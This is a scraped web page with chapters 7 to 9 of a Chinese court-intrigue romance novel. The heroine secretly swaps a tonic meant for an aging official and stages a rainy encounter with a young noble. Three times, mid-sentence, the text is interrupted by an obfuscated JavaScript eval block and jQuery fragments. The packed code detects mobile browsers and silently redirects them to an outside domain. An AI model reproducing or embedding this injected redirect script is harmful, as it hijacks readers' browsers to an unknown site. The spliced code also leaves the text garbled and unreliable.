若再佐以春砂仁调香,服之如膏,入口极补,回炉之后,真气反乱于内,不日便能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230706|181769||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
形神俱疲,昼倦夜扰。
这个偏方是姬大娘研究出来的,别人是不知道的,就算是厉害的大夫,也摸不清里面的门道。
等药材称重封好,她才拎着小包裹慢慢往回走。一路上也不多言,只觉身心疲惫。
等她回到崔府,天色已暗。
不多时,府中灯火稀疏,丫鬟婆子都歇下了,她也顾不上用晚饭,换了衣裳,直接躺倒在床榻上,一觉沉沉睡去。
不知过了多久,她从睡梦中醒来,窗外月色正浓。推门一看,院落幽寂,风过枝梢无声。守门的婢子已在门边打着小盹,头歪在柱上,呼吸均匀。
崔思初没惊动她,轻手轻脚穿过廊下,去了后厨。
灶上炭火未熄,她取出白日采买的药材,一一拆封、筛拣,熬水为引,慢慢搅拌揉搓,制成几丸药剂,装入细口瓷瓶中,才将灶火熄了,收拾停当,悄然离去。
第二日清晨,遂心端着热水进屋,见崔思初已醒,正倚窗梳发。
她一边替她挽发,一边低声笑道:“小姐昨夜可睡得安稳?”
崔思初柔声“嗯”了一句,忽而像想起什么似的,随口说道:“遂心,你说……太尉这般年纪,又常年在外,身子骨怕是早就亏了吧?”
遂心一怔:“这……”
崔思初转过头,眼底带着一丝懊恼,像是意识到自己说错话,轻声道:“我就是随口一提,昨日去制衣坊娶衣服,遇到了几位夫人,她们说太尉近来气血不调、夜里总是睡不安稳。我想着……若是真的……唉,大哥如今还只是个国子监学官,父亲那边是提拔不上了,可我若是不能与太尉同寝,恐怕很难在太尉大人跟前吹枕边风,这可若何是好。”
遂心在一旁默不作声,却将崔思初的那番话记得一清二楚。待她替小姐梳洗妥当,便悄悄去了柳南风的院中,将崔思初“听闻王太尉身体不济”的话,一字不落地复述了出来。
柳南风正倚在软塌上,听罢神色微动,手中团扇停了几息。
她确实忘了这一茬。王太尉年岁摆在那里,又向来贪欢好色,出入风月之地已是多年,身子骨早该虚了,只是他身居高位,众人皆不敢多言。
可若是她亲自送药过去,倒像是直截了当地告诉所有人:王太尉不中用了。传出去,于人于己都不好听。
想着让崔思初去送,毕竟名义上是她未来的“正妻”,倒也名正言顺。
但一想到她那副柔声细气、唯唯诺诺的样子,真要到了床榻之间,怕是连话都说不利索,成事不足,反惹人烦。
柳南风眼神一冷,忽地将手中的团扇“啪”地一下甩在案几上,目光幽深,指尖轻敲膝盖,似在细细筹算。
“还是不放心。”她低声道,“这事儿……得我亲自来。”
说罢,她摆摆手:“遂心,你先回去,别叫你家小姐起疑。”
待遂心一走,柳南风便唤来了自己身边多年贴身的郝嬷嬷。
“郝心,”她压低声音,“你还记得我当年怀大朗时那个神医不?他是我老家同乡,如今还在西市。你去找他开一副补阳固本的药,说是我要的,他认得你。记住,别惊动旁人,悄悄去,悄悄回。”
郝嬷嬷应了一声,悄然退下。
柳南风虽出身商贾,但自嫁入崔家、落脚长安后,早已在贵妇圈中混得如鱼得水。门路她不是没有,送药这种事,自然也能安排得滴水不漏、天衣无缝。
与此同时。
镇国公府书房,茶香袅袅。
萧玉白与沈鹤对坐,窗外春枝曳动,室内却一派沉静。
他忽然转了话头,道:“舅舅,你可还记得王太尉?”
沈鹤端起茶盏,轻啜一口,淡声应道:“嗯?”
那声音不重,却听得出已察觉萧玉白话里藏锋。
萧玉白眼神微动,语气亦沉了些:“那王太尉,前头娶了六房妻室,一一病殁,对外皆称命薄……如今又要娶崔家女。”
沈鹤将茶盏放下,目光不动如山,淡淡打断他:“怎么,听说要娶的是崔家那位,你便起了恻隐之心?”
7. 第 7 章
此话一出,萧玉白轻轻一笑,摇头道:“只是觉得崔家五姑娘,有些可怜罢了。听说她自幼养在庄子,去年生母过世才被接回京中。看她那模样,日子过得并不宽裕,若真嫁去太尉府,只怕更要受人欺凌。”
沈鹤冷嗤一声:“她,会被欺负?”
萧玉白不解其意,只当他讽刺自己的多管闲事,便继续说道:“她性子温婉,又不擅言辞处世,这样的女子,在那等人精窝里,怎会不吃亏?”
沈鹤挑眉,却不置可否,只淡淡换了话题:“你别管旁人闲事了,说说你,什么时候定亲?”
“舅舅就别催我了。”萧玉白笑着反击,“您这么些年都孑然一身,倒不如先考虑考虑自己。”
沈鹤端起茶盏,语气淡淡:“我对那些女人没兴趣。尤其京中那些贵女,一个比一个装腔作势,虚伪得很。与其费心周旋,不如独来独往,自在。”
—
一日后,郝嬷嬷悄然将药带回了府中。
柳南风接过药包,目光一沉,吩咐人将门掩上,亲自拆开纸封细看药色药味,确认无误后才将其收入匣中。
“打听得怎么样了?”她问道。
郝嬷嬷拱手附耳,低声道:“奴婢查清楚了,那位专替王太尉号脉的吕郎中,平日只在家中接诊,极少外出。但后日,王家那位少爷要去他处给王太尉抓药,到时候……将咱们这帖掺进去,顺水推舟,再自然不过。”
柳南风眼神微动,缓缓点头:“很好。你今日且先收好,等明日天一亮,从小门出去,悄悄把药交给吕郎中,莫要张扬。”
“是。”郝嬷嬷应了一声,将匣子接过,藏入卧房箱底。
这一夜,府中静悄悄,月色如洗。
子时将至,一道纤细的影子悄然穿过廊道,裹着一身墨色披风,脚步轻得仿若猫步,正是崔思初。
她掌心捏着自己偷偷熬制搓好的药丸,轻车熟路摸到下人居所,绕过廊下两株枯梅,郝嬷嬷就住在靠柳南风最东一角的耳房。
门未掩严,一线灯火还未熄,房内偶有轻微咳声传出。崔思初屏息凝神,缓缓推门入内。
榻上,郝嬷嬷背对门口,似是已熟睡,鼾声轻浅断断续续。但她做奴才多年,素来警觉,一丁点风吹草动都能惊醒。
崔思初几乎是贴着地板挪到箱旁,微微抬眼确认郝嬷嬷未动,才伸手抽出那封包药的油纸。她动作极稳,将自己调换过的药包不着痕迹地塞入原位,又顺势压了压棉絮。
就在她转身准备离开之际,郝嬷嬷猛地翻了个身,嘴里呢喃两声:“……夫人……药……”
崔思初一颗心提到了嗓子眼,脚下虚晃一步,作势撞翻了门侧的铜钩,发出轻响。郝嬷嬷吓得睁眼坐起,屋里昏黄烛火下,“谁!”她厉声喝道,却只见风过,屋内空荡。
郝嬷嬷起身将门推严实,再次回到床上睡下。
崔思初掩着口鼻,一路快步出了小院,刚绕过回廊。
便听见身后传来那熟悉而清冷的声音:“你在做什么?”
崔思初身子一震,脚下一顿,指尖一松,手中的一枚簪钗应声坠地,落在青石地面,发出清脆一响。
崔玄歌听声走近,眼见那枚银钗落在廊柱之侧,俯身捡起,目光在钗身上停驻片刻,雕花旧样,并不名贵,却打理得极干净。
“这是哪来的?”她眯起眼,语气不善,隐隐带着一丝质问。
崔思初低着头,肩膀微微发颤,声音仿佛被哽在喉咙:“是我娘留给我的……小时候她还在时,亲手簪过我几回。”
她抬起眼,眼角泛着薄红,眼神惶然又执拗,“刚回府的时候,被郝嬷嬷收走了,说我这东西不配戴。也不敢反抗。这回快要出嫁了,我只想……只想拿回来。”
她声音低低的,带着哀求的软意:“那是我娘唯一留给我的东西了,我若明着开口,她怎会还?我才……才出了这等下作的法子。”
崔玄歌闻言,神情没有丝毫松动。她借着月光打量崔思初那副泫然欲泣的模样,眸色一沉,冷声道:“你竟敢在府里偷东西?明日我便告知母亲。”
说罢,她转身便走。
崔思初一急,上前一步拽住她的袖角:“姐姐,我只是想拿回娘的遗物,求你别说出去……”
谁知这副楚楚可怜的娇软模样,在崔玄歌眼里全然不中用。她冷冷一笑,猛地抽回衣袖,斜睨她一眼,语气锋利:“你少在我面前摆这一套。我不吃。”
说罢,大步离去,衣摆一扫而过,带起一阵冷风。
崔思初站在原地,望着她背影渐远,唇角那一点可怜兮兮的弧度慢慢褪去,换上漫不经心的神情。
次日清晨,郝嬷嬷已提着药包从角门悄然离府。
而大房正院内,柳南风正坐于妆台前,青丝半挽,金钗微摇,镜中映出她精致却略显倦色的面容。她正一笔一划描眉,听见帘外传来崔玄歌的脚步声。
“母亲。”崔玄歌掀帘而入,语气不善,“昨夜我撞见崔思初鬼鬼祟祟从咱们院中出去,被我抓到,是偷了个簪子,还说那支簪子是她生母留下的。”
柳南风听得神情不动,只照着铜镜慢条斯理地理着鬓发,指腹轻抚过眼角几丝细纹,语气波澜不惊:
“你也知道她马上就要出嫁,你大哥的仕途还得靠着王太尉。一个簪子罢了,拿就拿了。”她顿了顿,似笑非笑地看向镜中女儿的脸,“我们现在少给她使绊子,你也别整日在她面前晃来晃去,反倒叫自己添堵。”
崔玄歌皱起眉头,语带不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230707|181769||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满:“母亲,明明平日里是您最讨厌她,如今却事事护着她。”
柳南风转过身来,脸上笑意冷淡:“我是讨厌她没错,可她没几天就要滚出崔家了。现下她是王太尉未过门的正妻,我们今后还指望她在太尉面前替你爹和你大哥说句好话。”
她目光沉了几分,冷冷一句:“既然要用人,何必在这点小事上较真?别把人逼急了,临到出嫁闹出点难堪,就不划算了。”
崔玄歌被这番话噎住,张了张嘴,终究没再说什么,重重甩袖离开,满脸的不甘与隐隐的怨意,出了暗暗说道:“我不能找你麻烦,陆思之还不会吗?”
崔思初现在属于三不管,去哪里也不用报备,崔家知道她快出嫁,量她也翻不起什么浪。
崔思初准备前往京郊寺院小住几日,一则为“去晦除秽”,免得王太尉这等迷信之人觉得她带着不祥入门;二则对外称是替父母祈福,愿崔氏门庭昌盛。
柳南风听了,自是乐见其成,便派了遂心随行,派了马车,一路护送她出城。
待抵寺门,方丈亲自迎接,将崔思初安置在后院一处僻静僧舍,地势高敞,院落清幽,桃花盛绽,正值芳菲。
她吩咐遂心将行李安置妥当,独自出了院子,沿着石阶信步而行。
她站在青石台阶上,仰头望天,今日云淡日朗,万里无云,阳光明媚得令人眩目。然而她目色平静,唇边却勾起一抹几不可察的弧度。
风向偏南,雀羽贴枝,今晨寺后山雾未散,蚂蚁却皆上树。看似晴和,其实燥极而反。
“东南云脚透青,风息气沉。”
她低声呢喃,声音极轻,随风而散。随后便收回视线,目光不动声色地掠过竹林外的一角高墙。
那边,正是镇国公府在郊外的温泉别院。
每年春日,萧家都会携眷来此歇脚小住,等春假过后再启程回城。而这寺院,与那温泉别宅,仅一墙之隔。
崔思初低头轻笑,转身回房。今日宜静,明日……或许适合落雨,也适合偶遇。
而后手指慢慢理了理袖边:“遂心,我们回去。”
傍晚时分,寺中僧人照例送来斋饭。遂心掀帘而入,本想唤她用膳,却见屋内灯影微摇,崔思初已换上一身素麻衣,鬓发随意绾起,仅以一枚碧玉簪别于耳后,姿态清淡,宛若一位虔诚的信女。
她洗去了舟车尘气,整个人透着一股安静的素净气息,眼神中少了平日府中惯有的心思流转,只剩几分淡然从容。
来寺时,崔思初曾说,旧年曾读过几卷佛经,有数处疑义,想请方丈开解。方丈亦是好客之人,允她于晚饭后前往侧院佛堂小叙。
她浅尝了几口斋饭,起身整衣,对遂心道:“你留在这儿,我去佛堂一趟。”
8. 第 8 章
说罢,陆思初抬脚缓缓而行,身影融入昏黄暮色与檐下烟香之中。
佛堂地处寺侧偏院,香火不盛,倒添几分清寂。四壁皆是素木雕花,角落焚着一炉安神静气的沉香,香烟袅袅,缭绕于金身佛像之上。
暮色渐浓,檐角风铃声声入耳,映着烛火,一盏青铜灯盏映出淡淡光晕,佛像之下,蒲团整整齐齐,一尘不染。
崔思初行至门前,轻轻掀帘,脚步微缓。她低头合掌,一礼参拜,才缓步入内。
方丈早已等候,见她来了,合掌颔首,声音温和:“崔五姑娘请坐。”
崔思初落座后,规规矩矩地行了佛礼,语声柔和却清楚:“早年曾读过几卷《金刚经》,多有不解之处,今日叨扰方丈,还望海涵。”
她语气恭敬,神色端静,双手平置膝上,颇有几分沉心静气之意。
方丈抚须微笑:“施主既肯问佛,自有佛缘。经中何处不解,不妨道来。”
崔思初便缓缓说道:“经文有言,‘应无所住而生其心’,小女子愚钝,常常想,既无所住,那又如何安其心?若心无所住,岂非流离?”
方丈闻言略一沉吟,道:“此乃佛陀劝人离执之语。无所住,并非无依,而是不执于形,不滞于境。”
崔思初微一点头,却笑道:“方丈说得通透。只是思初总觉,无住者易散,世人立身处世,若都心无所依,那心念又何以生?”
她语气不重,面上恭敬,却分明有几分针锋含意。
方丈细细看她一眼,点头道:“五姑娘所问极妙。佛法讲缘生缘灭,非是要人舍弃情感,而是教人不困于情、不执于念。心有所依,并非不可;唯执迷不悟,方是桎梏。”
崔思初垂眸轻叹:“原来如此。小女子妄自揣度,还请方丈见谅。”
方丈笑道:“你心中虽疑,却能不生慢心,不失敬意,可贵。”
屋外天色沉沉,晚风拂过松枝,带来一阵阵檀香气息。佛堂前的青石廊道在烛火微光下泛着淡青的湿润光泽。
萧玉白立于廊下,一袭碧色团花暗纹圆领袍,衣袂被风轻扬。他负手而立,目光掠过远天,落在殿前燃得极静的长明灯上,未曾入内,只静静听着殿中传来的女声。
那女子声音熟悉,语调温婉沉静,句句似水。
他原以为崔家五姑娘不过是个命途多舛的庶女,美貌之外并无其他,不幸被权势推向风口浪尖,唯有任人摆布的份。
但这一刻,殿中传出的每一句佛经辨析,条理清晰、从容自持,她的嗓音不疾不徐,既不卑微谄媚,也不虚妄高论,像一泓春泉缓缓流过石岸,润物无声。
他忽觉,那人并非外表所示的柔弱顺从,反倒心思明澈,通透玲珑,是个懂得藏锋、也有分寸的聪明人。
他本是随镇国公前来温泉别宅小住,路过此处时,想来上柱香,恰闻有人论经,不知怎的,便走到这里。
殿中女子语声忽止。
他脚步极轻,终于步入殿中。
佛堂门帘微动,崔思初有所感,侧身回望,便见那人立于门口,二人四目相对。
青袍玉带,身形修长,一身寂然清润之气,烛影摇曳间,萧玉白拱手向方丈轻颔一礼,声音清朗:
“方丈扰清净了。”
方丈见来人是镇国公府世子,连忙起身行礼,语气恭敬:“原来是世子殿下,老衲失迎。”
萧玉白含笑拱手还礼:“方丈不必多礼,我本只想路过叩香,不想听了经论,便忘了归期。”
方丈一笑:“世子若有兴致,不若入内一听。”
萧玉白颔首应下,缓步入内。
佛堂中香烟袅袅,松柏木雕的佛像前,两盏长明灯静静燃着,映得铜莲灯影摇曳。崔思初已于蒲团上起身,朝他轻轻一福,低声道:“见过萧世子。”
萧玉白微顿,目光在她身上落了一瞬,素衣轻简,却不觉寒素,反倒有一份极静极净的风韵。
“他语声温和,从容开口:“方才姑娘提到《百喻经》所引‘以火烧山,为救麒麟’之喻,我曾读过,却未细想。”他语声温和,不带半分架子,“我初闻此经,只觉诙谐,今日听姑娘所言人世欲望反害本心,才觉意在言外,别有意味。”
崔思初垂眸稍思,答得得体:“世子过誉了,小女子不过借经中寓言略陈管见,未敢妄言佛理。”
萧玉白抬眸看着她,神情中似有些许探究,语气却仍不动声色:“不必妄自菲薄。你思路明净,言语沉稳,能将浅意说得不俗,已是不易。”
两人语声不高,佛堂内寂然无声,只檐下松枝随风而动,沙沙作响,仿若应和。
崔思初垂眸轻笑,语气依旧温和,却不失自持:“女儿身读经,不过是为解心中烦扰,不敢妄言顿悟开窍,只愿清心守己,问一段因果罢了。时已不早,小女子就先行告退。”
她说罢,姿态端谨,不再逗留,向方丈与萧玉白一礼,转身掀帘离去。
出得佛堂,她足下无疾,衣袂微动,临阶时才偏头回望一眼,那人仍立于烛影之中,未言未动。
崔思初眼波微敛,袖中指腹轻轻掐算,算至一半,眼中波光一敛。片刻后唇角一弯,低声自语道:“明日未时,必有落雨。”
崔思初望向天边渐沉的暮色,嘴角缓缓勾起一丝若有若无的笑意。
“时机已近。”
翌日清晨,崔思初唤来遂心,拿出几块冰糖与面粉,不紧不慢道:“寺里梨花开得正好,我昨日见那边枝头几簇已快凋谢,想采些回来做梨花糕,等我取回花朵,你便在这儿动手。”
遂心闻言点了点头,询问道:“小姐亲自去?”
“佛前许愿,许得真切,自然得亲力亲为。”她笑语盈盈,手中却早已收拾妥当了装花的篓子和油纸包。
出了院门,崔思初沿着寺后小径而行,不多时便立于山腰一带的梨树下。
那几株梨树正值凋谢之时,风一过,花瓣纷纷飘落,铺了满地清白,像积雪般静静堆着。
崔思初身着青色素麻衣,手执花篓,仰头静看枝头残花,在灰蓝天色的映衬下,身形孤静柔弱。
她未带伞,只是安安静静地等在那里。
她知道,未时左右,京兆府的折子会由小厮送往镇国公府别院,而那条道,正是这片梨花林旁必经之路。
天光阴晦。片刻后,天空乍响一声惊雷,紧接着,雨点倾盆而下,砸在梨花上,声如碎玉。
镇国公府别院内,萧玉白正倚在窗前,翻阅着新送来的折子,小厮站在一旁候着,眼角余光扫向院外,忽然神色微动。
萧玉白察觉异样,微微蹙眉,轻声问:“怎么了?”
小厮迟疑了一下,方才低声道:“回世子,奴才刚进府时,见路边有个姑娘在摘花……穿着一身青色麻衣,没带伞,现在怕是要淋雨了。”
萧玉白听闻,忽然抬眸,问道:“那女子什么样?”
小厮抬手比了比高度,“大概这么高。”
屋外雷声滚滚,风雨交加。
萧玉白手中折子“啪”地一声阖上,他抬眸,语气极轻:“她还在那里?”
小厮一怔:“应……应当还在。”
萧玉白不再言语,转身自壁上取下一柄竹骨油纸伞,脚步极稳地往外走。
小厮欲跟上去:“世子,我……”
萧玉白头也未回,只抛下一句:“你在此候着。”
雨势愈发紧了,落在枝叶间,打得梨花簌簌而落,像碎雪一般飞旋四散。
崔思初立在树下避雨,青色素衣早已湿透,衣衫紧贴身形,轮廓玲珑若隐若现。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230708|181769||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她双臂抱于胸前,微微蜷缩,细雨从额角滑落,流经脸颊,顺着颈侧没入锁骨,肌肤因寒凉而泛起一层微颤的鸡皮疙瘩。
她低着头,鬓发湿漉漉地贴在面颊,唇色淡却未失血色,雨丝像是钉住了她的脚,她未挪动半分,只静静立着,她在等。
忽而远处传来脚步声,自重重雨幕而来,一道墨绿身影逐渐显现于梨花树影之间。那人撑着伞,步履沉稳,未急未缓,每一步都落在水洼边缘,鞋底不沾半点泥水。
萧玉白远远便看见树下那抹纤影,眉头皱了皱,却未开口,只在靠近时顺势褪下肩上披风。
他走至她面前,将伞举过她头顶,那柄青油伞撑开时发出一声轻响,隔开风雨。
他垂眸看她,神情克制,动作却自然地将手中的披风递了过去。
崔思初察觉到头顶骤然一静,抬头,便对上了他的眼,那是一双极清极静的眼睛,此刻在雨色之中多了一层水光。
崔思初睫毛上挂着雨珠,唇瓣微启,声音却没出口,只是眼神凄迷,如烟如雾。
她伸手接过他手中的披风,指尖轻轻碰到他的手背,那一瞬极短,热度却真实。她像是被烫了一下,迅速抽回指尖。
她举臂将衣襟覆紧的动作极缓,臂弯划过雨幕,衣衫贴身,将本就柔细的身段勾得更见婀娜。那抹曲线被雨水雕刻得一丝不苟。
萧玉白一眼瞥见,喉结微动,猛地别过头去,像是避开了什么不该看的东西。他极快地移开视线,语声却未出口。
可他那一个小动作,却被崔思初尽数收入眼底。
她眼底轻轻一动,唇角弯起一抹几不可察的弧度,却只将心思藏进披风里,什么都没说。
而他仍站在一旁,撑着伞,将雨隔在她之外。
崔思初轻声开口,语气带笑,分明是明知故问:“世子这是要往哪里去?”
萧玉白闻言,心头忽地微沉。他方才只是知道她在雨中伫立,心中一动,便出了门,如今被她一问,倒像是早有预谋。
他垂眸一瞬,随即神色如常,淡淡道:“昨日与方丈讲经颇有所得,今日正欲登门致意,没想到在此巧遇姑娘,倒真是……缘分。”
崔思初侧头望了望雨幕中模糊的远山,唇角勾起一丝意有所指的笑意:“这雨下得这样大,世子肯冒雨来拜佛,可见心诚。”
萧玉白轻咳一声,将话题岔开,故作轻松道:“既然顺路,我便送你一道回去。”
崔思初垂眸一福,语气温婉:“多谢世子。”
二人并肩而行,皆为言语。
萧玉白撑伞,伞面微斜,他不动声色地将伞向她那边倾了倾。
两人之间隔着不过一掌之距,却谁也未曾越过半分。
二人朝着寺里走去,谁知是真的雨滑,还是崔思初故意,她一个踉跄,差点摔倒。
萧玉白抬手将她扶住,隔着衣料握住她的手腕。
崔思初抽回手腕,垂着眸子,刚想说话。
萧玉白的声音便从头顶传来:“谢的话就不必说了,是我没提醒你路滑。”
“嗯。”崔思初淡淡应了一声。
雨落正密,寺门渐近。两人沉默着走了一段,萧玉白忽然开口,语气温和却带着试探:“你可知,京城茶余饭后都在议论你?”
崔思初侧头看了他一眼,唇边漾起一点淡淡的笑意,既不惊也不恼,声音却极轻:“议论?”
她慢悠悠地收回目光,看向前方湿漉漉的石阶,语气温顺得几乎像叹息:“无非是说我命薄、出身低,命里该被送去给人填房。”
萧玉白眉心微动,正要开口,崔思初却忽然转头看他,目光明亮,语气依旧温和,却添了几分说不出的清醒与锋利:“可世子,若这命,能握在自己手里,又怎会薄呢?”
9. 第 9 章
崔思初说完便垂眸敛笑,仿佛不过是随口一语,未曾放在心上。
萧玉白却怔了半晌,是啊,她又怎么会不知道呢。
他心中却忽然泛起几分异样的念头,倘若她能有个倚仗……
“没想到世子也会听妇人之间的闲言,倒是让我有些刮目相看了。”崔思初轻声调侃,像是一句戏言,却正巧将方才那点莫名的沉默打散。
“是我唐突了。”萧玉白微微颔首,声音温和如常。
语罢,两人已走至寺门外。雨仍未歇,细密如织。
还不等萧玉白有所动作,崔思初已先一步走出伞下,身影轻盈,她转身站在雨中,隔着薄雾与雨声,朝他微微一笑:
“世子,在这别过罢。披风我会等天晴之后洗净了,亲自送还。”
话音未落,她已抬手挡雨,脚步轻快地朝寺中奔去,背影被雨幕一点点吞没。
萧玉白站在原地望着她,神情微动,正欲转身,却被一声轻唤唤住——
“世子。”方丈缓步从廊下走来,身着灰袍,眉目安详,“既来,不妨再入殿礼佛一炷香。”
萧玉白被这一声唤得顿住脚步,回头看向那位年迈方丈。雨声淅沥,檐下灯火未灭。
他略一颔首:“好。”
跟着方丈踏入佛堂,殿中香烟缭绕,青灯古佛前,一炷檀香正徐徐燃着。
方丈请他落座,又自袖中取出一卷经书,轻轻摆在案前:“世子似有心事,佛家讲因果,不如静坐片刻,聊解烦忧。”
萧玉白看着那本经书,忽然问道:
“方丈,”他说,语气极轻,像是怕惊动了什么,“若有人命运坎坷,将来多有不顺,我是否可以……替她改上一改?”
方丈本在为他沏茶,听到这话,手微顿了顿,抬眸望向他。
殿内静极,只有风穿过窗棂,带起几声钟磬余韵。
“世子此问,”方丈慢慢将茶盏放下,语调温和,“若放在百年前,便是求卜者惯问老僧之言。可惜老僧不能算命,也未敢妄论人命吉凶。”
他顿了顿,又道:“但这世间,命运自有流转。你以为她不幸,未必她便自觉苦楚;你想替她走一条好路,却未必那便是她愿走的路。”
萧玉白眉心微拢,却不言语。
方丈捻了捻佛珠,缓缓说道:“命运若被人之手笔改写,结局多半两不圆满。世子若真心想助她,倒不如先问一句:她可愿?”
“强求,终究违心;违心,便是造业。”
“世人皆求福缘,可若强牵一线,勉强同走,不是缘,便是债。”
话语落下时,殿内香烟袅袅,檐下雨声早已停了,仿佛天地也都静了下来。
萧玉白的眼神微微动了动,垂下眼睫,声线低哑:“她可愿……”
他轻轻念着这三个字,像是问方丈,又像是在问自己。
方丈未再出言,只将手中佛珠捻了一遍又一遍。
“世子心中若已有起念,贫僧不阻你随心而行。只是……”
他抬眸看向殿外天光,语气渐深:“佛门讲缘,讲因果,你若起了因,是否能承住那之后的果?”
这一句落下,如钟声入耳,萧玉白指节微紧,眼底光色一晃,却终是未语,只在方丈面前深深一礼。
“我知道了,多谢方丈。”
萧玉白起身一揖,语毕已不作停留,伞也未顾得带,疾步踏出佛堂。廊下风雨如织,转眼便将他一身青袍浸透。
雨声淹没脚步,他一路奔回别院,湿意沿衣角蔓延,整个人已被雨水浸得透彻。
小厮仍守在原地,见他模样,不由一惊:“世子,您的伞呢?”
萧玉白这才想起伞落在了寺中,但只是摇头:“不必了。”
他走进屋内,拂袖坐下,神情一瞬冷肃。片刻后,他看向小厮,语气沉稳却不容置疑:“雨一停,你即刻快马回京。去肃安王府找我舅舅,让他帮忙把王太尉这几年私账,统统调出来。”
崔思初一回到屋内,刚将披风解下,便连连打了两个喷嚏。
遂心忙上前扶她坐下,神色紧张:“小姐,是不是淋雨着凉了?要不要奴婢去打桶热水来泡澡?”
“不了。”崔思初摇了摇头,神情淡淡,伸手拂了拂额角的湿发,语气温软,“今日跑了不少路,实在乏了,泡澡反倒更耗神,我只想歇一歇。”
遂心却还是不放心:“那奴婢去给您找块干帕子,头发这么湿,不擦擦可要生病的。”
崔思初换了干衣,坐在床边,望着窗外被雨水洗净的夜色,眉目如常,唇边却浮起一丝近乎看不出的笑意。
她轻轻将自己裹入被中,只留一句低哑的嗓音:“无妨,睡一觉就好。”
遂心还欲再劝,却被她轻轻按住手腕,温声道:“我知你是为我好,可我一觉醒来,便什么都好了。”
她闭上眼,心中却道:我要的……便是病。
次日清晨,寺中钟鸣声声,薄雾未散,山林间一片静谧。
遂心一早推门而入,见崔思初仍蜷在被中,一动未动。她走近几步,唤道:“小姐,天亮了……”
被中人却没有应声,遂心一怔,快步掀起帐帘,只见崔思初面色苍白,唇畔没了血色,呼吸浅淡,额上沁出一层冷汗。
“小姐!”遂心惊慌失措,伸手探她额头,一片滚烫。
崔思初似是被这动静惊醒,勉力睁开眼,眼神却浮着一层迷雾,声音又哑又轻:“好像……有点热……”
“您发烧了!”遂心慌了神,连忙起身奔出门去叫人。
不多时,小寺的药僧匆匆赶来,为崔思初把了脉,沉声道:“是风寒入体,又带着些湿邪,昨夜怕是衣未干便歇了,才会烧得这般厉害。”
药僧留下熬药的方子,又叮嘱须卧床静养数日,遂心一一应下,心中悔得要命,责备自己昨日为何未多劝几句。
崔思初见遂心满脸自责,轻轻摇了摇头,语气温缓:“我从小在庄子里长大,身子骨结实得很,睡一觉就好了,别担心。”
遂心这才稍稍放心,起身道:“那奴婢去厨房看看,今日做些什么好吃的。”言罢,便掀帘退了出去。
屋内重归清静。崔思初起身,目光落在墙侧挂着的披风上,那是昨日淋雨回来后,遂心依她吩咐洗净晾干的。
她取下披风,轻轻抖开一角。布料间隐约透出一缕清香,是她自制的香露,熬成汁后溶入洗衣水中。衣物风干,香意随之潜入纤维,久而不散,梨花淡香交织楠木之气,清幽馥郁,既不张扬,也不易察觉。
崔思初将披风细细叠好,抱在臂间,推门而出。
天已放晴,日光温润,照得回廊上的水珠晶莹剔透。从此处前往镇国公别院,约需一柱香时辰。
她打算亲手将披风还给萧玉白,毕竟后日她就要回京了,时间有限,她能做的也不多。
崔思初来到镇国公府的别院,门前小厮一眼瞧见她怀中抱着一袭熟悉的披风,便未多问,笑着行礼道:“世子特意交代过,这两日会有个姑娘过来,想必就是您,姑娘请随我来罢。”
崔思初随着他来到院中的正厅,厅中陈设雅致,檀香隐约,窗格间垂着半卷青帘。
崔思初落座间隙,目光顺着廊柱外望去,只见庭前架下蔷薇正盛,藤蔓攀枝,繁花似锦,一簇簇开得热烈,微风一过,香意便悠悠溢入室中,衬得整座别院风雅而不显张扬。
她尚在打量,先前那小厮却又匆匆跑来,神情踟蹰:“姑娘,若有话要传,不如先告诉小的。待会儿……待会儿再转告给世子。”
崔思初本也打算如此,只是见他神色为难,语气便柔了几分:“可是出了什么事?”
那小厮犹豫再三,架不住她一双眼望得真切,低声道:“世子爷……正被国公爷训话呢,两人闹了些情绪。”
此言一出,崔思初倒有几分意外。她原以为,像萧玉白那般持礼自持、清润如玉的人,竟也会被父亲斥责。
她轻声说道:“无妨,我今日闲来无事,便在此等他便是。”
小厮见她温和识礼,也放了心,便吩咐人泡了热茶,又笑道:“姑娘若嫌厅中闷,不妨到前面庭院里走走。那蔷薇花开得极好,咱们府里的女眷都爱去瞧。”
崔思初点了点头,眉目微弯。
蔷薇开得正盛,攀上檐角,一簇簇粉白花团垂落在枝头,空气中混着初夏的暖意与花香。
崔思初抱着茶盏,在庭院中漫步,原想着绕过游廊便能回到正厅,却因为走错路,不知不觉走到了偏院一隅。
正欲折返,耳边却忽然传来几句不甚清晰的言语,语气罕见地带着怒意:
“你如今说这些,倒像是读书读偏了!你可还记得你姓萧?”
崔思初顿住脚步,神色微敛。
